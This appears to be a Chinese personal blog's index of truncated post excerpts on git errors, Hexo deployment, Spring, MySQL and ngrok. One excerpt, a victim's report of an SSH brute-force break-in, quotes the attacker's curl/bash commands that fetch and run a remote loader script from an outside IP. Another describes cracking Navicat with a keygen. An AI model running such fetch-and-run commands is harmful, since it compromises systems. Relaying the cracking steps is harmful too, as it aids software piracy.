关于git_clone报10054错误
git clone url.git 报10054错误,具体错误如下:1234Administrator@PC202006091958 MINGW64 /d/GitHub_clone/themes$ git clone https://github.com/blinkfox/hexo-theme-matery.git #这是git命令Cloning into 'hexo-theme-matery'...fatal: unable to access 'https://github.com/blinkfox/hexo-theme-matery.git/': OpenSSL SSL_read: Connection was reset, errno 10054
解决方法一执行以下两行代码即可:12git config --global --unset http.proxygit config --global --unset https.proxy
再次git 克隆即成功, 如下图
解决方法二当解决方法一不能解决报错问题时,手动配置git的代理,gi ...
如何将Hexo博客部署到云服务器
前言:
此前我的博客都是部署在github上,但是github老是抽风,访问速度慢,当我拥有域名和服务器后,迫不及待的就要将个人博客项目部署到我的云服务器上,然后通过域名去访问,就大功告成,皆大欢喜啦。但是在网上搜索了很多部署到服务器的教程,杂七杂八,有些很麻烦,有些通过ssh远程连接服务器敲linux命令,有些步骤还不详细,有些甚至跳步部署,确实是刚开始跟着那些教学踩了很多坑啊,部署好久,不是权限不够就是git完出现各种错误。第一次部署问题太多,我解决不了,新建的文件夹还多,有点晕,就把服务器格式化了一次,着实头疼,浪费了太多的时间。第二次是因为服务器被攻击,又格式化了一次,部署次数较多,嘿嘿,有经验。所以当我部署成功后,第一时间就把我部署过程以及部署遇到的一些问题整理出来,记录下来,发一篇博客,帮助后面的同学部署少踩一点坑。此文章不断完善中。
把我的部署成功过程分享出来给大家查看。
注意:以下所有命令,一框多条命令,建议一行一行执行!!一行一行的复制到服务器运行。(大佬忽略)一、准备工作
已经备案的域名,已经解析绑定好服务器ip地址了,
一台云服务器,我这边使用的阿里云服务器,( ...
我的服务器被暴力破解
新手刚接触ECS云服务器还不懂需要做些什么,只能见招拆招了。今天服务器遭受SSH暴力破解,所以整理一些东西让遇到这些问题的人可以减少这个烦恼,废话不多说进入正题。起因:手机收到阿里云提示短信,检测到ECS服务器出现紧急安全事件:访问恶意下载源
一、具体事件服务器被恶意攻击,是人性的泯灭还是道德的沦丧,咱就是说才买几天的服务器,就挂了个人博客的项目,不至于吧,不至于吧!HXD?!!服务器格式化了,项目得重新部署了…..fffffffffffff自己的阿里云服务器被别有用心的人gank一波,服务器被暴力破解密码并且异地登录,然后我就收到了阿里云发的服务器异地登录短信,打开手机查看阿里云,好家伙,五个安全警告,有三个是恶意脚本代码执行的警告,分别执行了curl,bash以及wget命令,具体命令行代码分别如下:
1curl -k --user-agent e842c5c9_root:Root1234 http://194.145.227.21/ldr.sh
12bash -c (curl -k --user-agent e842c5c9_root:Root1234 http://194 ...
详解SSM框架工作原理及流程
一、什么是SSM框架:SSM框架是Spring、SpringMVC和Mybatis框架的整合,是标准的MVC模式,将整个系统划分为View层,Controller层,Service层,DAO层四层,使用Spring MVC负责请求的转发和视图管理,Spring实现业务对象管理,Mybatis作为数据对象的持久化引擎。
二、各框架介绍
Spring
Spring就像是整个项目中装配bean的大工厂,在配置文件中可以指定使用特定的参数去调用实体类的构造方法来实例化对象。也可以称之为项目中的粘合剂。Spring的核心思想是IoC(控制反转),即不再需要程序员去显式地new一个对象,而是让Spring框架帮你来完成这一切。
SpringMVC
SpringMVC作用于web层,相当于controller,与struts中的action一样,都是用来处理用户请求的。同时,相比于struts2来说,更加细粒度,它是基于方法层面的,而struts是基于类层面的。Spring MVC 分离了控制器、模型对象、分派器以及处理程序对象的角色,这种分离让它们更容易进行定制。
SpringMVC在项目中 ...
Spring,AOP的理解
一、Spring是什么?Spring是一个轻量级的2EE框架。它是一个容器框架,用来装javabean(java对象),中间层框架(万能胶)可以起到一个连接作用,比如把Struts和hibernate粘合在一起运作,可以让我们的企业开发更快,更简洁。spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。
1、从大小与开销两方面而言,spring都是轻量级的
2、通过控制反转(IoC)的技术达到松耦合的目的
3、提供了面向切面编程的丰富支持,允许通过分离应用的业务逻辑与系统级服务进行内聚性的开发
4、包含并管理应用对象(Bean)的配置和生命周期,这个意义上是一个容器
5、将简单的组件配置,组合成为复杂的应用,这个意义上是一个框架
二、AOP的理解系统是由许多不同的组件所组成的,每一个组件各负责一块特定功能。除了实现自身核心功能之外,这些组件还经常承担着额外的职责。例如日志、事物管理和安全这样的核心服务经常融入到自身具有核心业务逻辑的组件中去,这些系统服务经常被称为横切关注点,因为它们会跨越系统多个组件。
当我们需要为分散的对象引入公共行为的时候,OOP则显得无 ...
Spring中IoC和DI的理解
tips: 学习过Spring框架的人一定都会听过Spring的IoC(控制反转) 、DI(依赖注入)这两个概念,对于初学Spring的人来说,总觉得IoC 、DI这两个概念是模糊不清的,是很难理解的,今天和大家分享网上的一些技术大牛们对Spring框架的IOC的理解以及谈谈我对Spring Ioc的理解。
一、分享Iteye的开涛对IoC的精彩讲解1.1、IoC是什么 IoC—Inversion of Control,即“控制反转”,不是什么技术,而是一种设计思想。在Java开发中,Ioc意味着将你设计好的对象交给容器控制,而不是传统的在你的对象内部直接控制。如何理解好Ioc呢?理解好Ioc的关键是要明确“谁控制谁,控制什么,为何是反转(有反转就应该有正转了),哪些方面反转了”,那我们来深入分析一下:
●谁控制谁,控制什么:传统Java SE程序设计,我们直接在对象内部通过new进行创建对象,是程序主动去创建依赖对象;而IoC是有专门一个容器来创建这些对象,即由Ioc容器来控制对 象的创建;谁控制谁?当然是IoC 容器控制了对象;控制什么?那就是主要控制了外部资源获取(不只 ...
本站使用的图床以及图床推荐
tips:通常情况我们在建网站或者日常上网的时候用到图床的理由就是以下几种情况:临时分享图片到其他网站外链;自己服务器硬盘不够用;自己服务器带宽小,网速慢;不想把图片放到自己服务器;自己没有服务器但是又想分享图片。图床是指存储图片的服务器,就是专门用来存放图片的服务器,更多的是指提供图片外链的服务,有免费图床,也有付费图床。
一、目前使用的图床(SM.MS)我是使用markdown来写博客,可是markdown的图片却是本地的,如果我要发博客到GitHub上,那么就不行了,GitHub上是不能存图片的。于是干脆弄了个图床,本地截图的时候上传到图床,markdown中的代码结果也是图床里的,这样就解决了这个问题了。引入图片不需要引入图片的所在文件夹的相对地址,不再将使用到的图片放到项目的img文件夹中,直接引入图片在互联网的图片即可,加载速度也快,很方便。
之前写了两篇博客MySQL中常见约束(笔记)跟Navicat注册机破解教学,图片也是引入的互联网地址,我事先将图片发布到C站,然后将C站的网络地址复制粘贴,引入到我的文章里去,这样也是很方便的,C站就相当于一个图床,但是这样引入的 ...
MySQL常见约束
Tips:
检查约束(check):MySQL中不支持检查约束,但是Oracle中是好使的。就在这前面简单介绍一下吧!笔记不嫌多。哈哈哈哈!我在大学的课程是SQL Server,这玩意也支持Check约束,语句贴下面,简单感受一下吧。还有另外两种约束:自增长约束(AUTO_INCREMENT)非负约束(unsigned)相信你们都晓得这自增约束,自增长约束在下面详解代码有涉及到,不知道的自行百度。链接放这。怎么实现自增长约束
创建检查约束:
123456create table emp8( id int(10), name varchar(20), salary Double(10,2), CONSTRAINT emp8_salary_ck CHECK(salary > 3000) #工资大于3000不允许往工资里加);
什么是约束?约束使用规则?
约束是在表中定义的用于维护数据库完整性的一些规则。
通过为表中的列定义约束可以防止将错误的数据插入表中,也可以保持表之间数据的一致性
若某个约束条件只作用于单独的列,可以将其定义为列级约束也可 ...
Ngork内网穿透
前言:
自己电脑上的项目如何让别人访问一般自己在电脑上写了一个项目 ,自己把项目跑起来,生成一个本地地址,可以通过本地网址进行访问项目,但是怎么样让别人来访问你的项目,这就需要用到Ngork工具了。
原理:把外网地址通过服务器映射,映射到自己的本地地址,这样别人访问外网,就间接访问了你的本地网站
使用场景:
比如你是乙方,你承包了甲方的项目,当你写好了项目,甲方要验收,你要把自己的项目给甲方看呀,你总不能把自己的电脑带到甲方面前操作吧,这里就可以用到Ngork内网穿透,你给甲方一个网站,就可以访问你本地的网址啦!
还有一种就是你是学生,你在学校做了一个项目,你想让同学,老师,其他人访问你的网址,这时候用Ngork就很方便,分享资源啥的。
服务器映射过程也很简单哈,没有什么难度,很容易上手,看完就会。
实现内网穿透方法第一步:注册账号并登陆 去Ngork官网注册一个账号,点这里直接去注册吧。
第二步:购买实名认证机会 因为之前有人使用网站服务器做非法的事情,导致Ngrok网站被公关部门调查了,加强了实名认证功能,想要搭建一个服务必须要实名认证,这其实不算什么,主要是人家实名认证接口是 ...
Navivat 15 for Mysql的安装破解教程
tips:不废话,直接上手。
一、准备工作1.下载Navicat 15.X for Mysql.(Navicat 15.x for MySQ可以直接到官网去下载。安装时选择安装文件夹,无脑下一步即可)
2.下载注册机。
3.没有navicat注册机的小伙伴可以关注私聊,免费提供。二、安装过程第一步、将下载好的注册机复制到Navicat 15.x for MySQL的安装目录;我是安装在默认的文件夹 C:\Program Files\PremiumSoft\Navicat 15 for MySQL中,只要将上图中“Navicat破解注册机”复制到这个目录中即可,
第二步、双击运行注册机,如下图所示,选择 “Navicat v15”,Products选择“MySQL”,Languages选择 “Simplified Chinese”,然后点击“Patch”,进行注册,请按照以下图示一步一步操作
第三步、打开Navicat 15.X for Mysql,进行注册操作,(如果第一次安装的话,打开软件就会提示注册,如果之前遗留有注册信息,可以通过点击帮助-》注册),点击注册机上的Gener ...
基于hexo+github搭建个人博客
Date By: 2021-12-18 11:39:06
小故事:
早晨,猫医生要去河对岸的小山村给小动物们治病。但一到河边,猫医生就傻眼了——原来,前几天连下了几场大雨,把小桥给冲走了,这可怎么过河呢?猫医生着急地想着。听到这个消息,鸭子、小马、小狗、小兔······都闻声赶来,帮猫医生过河。小马自告奋勇地说:“我来,我来,我腿长,我驮你过河!”猫医生爬上了小马的背,因为猫医生太胖,小马被压死了,全剧终…..
tips:
When you finish reading my article teaching, you will certainly build their own independent personal blog site.I will teaching you for mother’s teach hand by hand.(我将进行手把手保姆级教学)
首先你得准备node.js 、 git 、 github个人账号写博客内容不寒颤的话,再装一个vscode,手敲vim命令修改文件qio实很头疼。
以管理员身份运行cmd检查node.js是否配置完成,代码如下
...
前言:搭建成功
芜湖!前言不知道写啥,离了个大谱。此处省略三千个字。
关于博客:
主要写博客的原因还知识简单的将自己的学习到的知识及解决思路,整理下来,方便自己日后能用到的时候能够翻翻,快速的找到。就像高端的程序猿CV手法一样朴实无华!!!
开源还能给别人看到,供别人阅读跟学习也挺不错的。之后在网页上加点标签栏,音乐栏啥的,不然是有点单调看起来,慢慢搞吧,做样式挺复杂的。
没事干的时候写写博客,将学到的零七零八的知识点记录下来,本来记性就不好。写博客加强个人记忆,提高思维能力,好多东西看的时候可以理解,但是过了一段时间因为业务上没有用到就容易忘,如果记录下来,那相当于把自己当时理解的思路给整理下来,这样下次重新再看的时候可以很快的想起来。
第二点就是写的时候可以促进我去把一些不明白的东西弄明白,虽然没几个人看,但是如果写出来了就一定能保证自己可以把要写的整个流程捋清楚,自己掌握的东西还是自己的。芜湖!
研究官方文档,锻炼自学能力,锻炼笔记能力,锻炼项目能力
第三点当然是产生学习动力啦,督促自己多多学习,不然网站就一两篇文章,看着磕碜。致自己
我常常觉得计算机和互联网的发明给人类带来了如此大的方便,让 ...